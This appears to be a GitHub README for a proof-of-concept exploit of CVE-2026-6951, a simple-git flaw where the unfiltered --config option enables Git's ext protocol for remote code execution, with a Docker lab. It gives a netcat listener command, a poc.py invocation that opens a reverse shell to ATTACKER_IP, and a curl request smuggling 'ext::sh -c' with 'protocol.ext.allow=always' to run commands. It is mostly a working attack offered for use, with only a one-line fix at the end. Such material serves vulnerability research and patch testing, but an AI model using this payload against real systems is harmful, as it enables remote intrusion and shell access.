
Proof-of-concept exploit for CVE-2026-6951, a simple-git --config filter bypass enabling RCE via the Git ext protocol, with a Docker lab and reverse shell payload.
★ CVE-2026-6951 simple-git --config Option Filter Bypass RCE PoC ★
https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67
CVE-2026-6951 is a remote code execution vulnerability in
simple-gitcaused by an incomplete fix for CVE-2022-25912. Although the-coption was blocked, the equivalent--configoption was not properly restricted. An attacker who can control Git arguments can enable theextprotocol and execute arbitrary commands through anext::repository URL.
| Category | Version |
|---|---|
| Vulnerable | simple-git versions before 3.36.0 |
| Patched | simple-git 3.36.0 or later |
This environment uses simple-git 3.35.2 and @simple-git/argv-parser 1.0.3.
Build and run the vulnerable environment.
docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951
Access the service at:
http://127.0.0.1:9107
Check the service status.
curl -s http://127.0.0.1:9107/api/health
The embedded sample repository is available at:
file:///srv/git/sample.git
Start a listener on the attacker system.
nc -lvnp 4444
Run the exploit script.
python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444
The following request executes the id command by abusing the unrestricted --config option and the Git ext protocol.
curl -s -X POST http://127.0.0.1:9107/api/import \
-H 'Content-Type: application/json' \
--data-raw '{
"repository":"ext::sh -c id% >&2",
"name":"id-check",
"options":["--config","protocol.ext.allow=always"],
"environment":{}
}'
simple-git to version 3.36.0 or later.simple-git.ext:: URLs.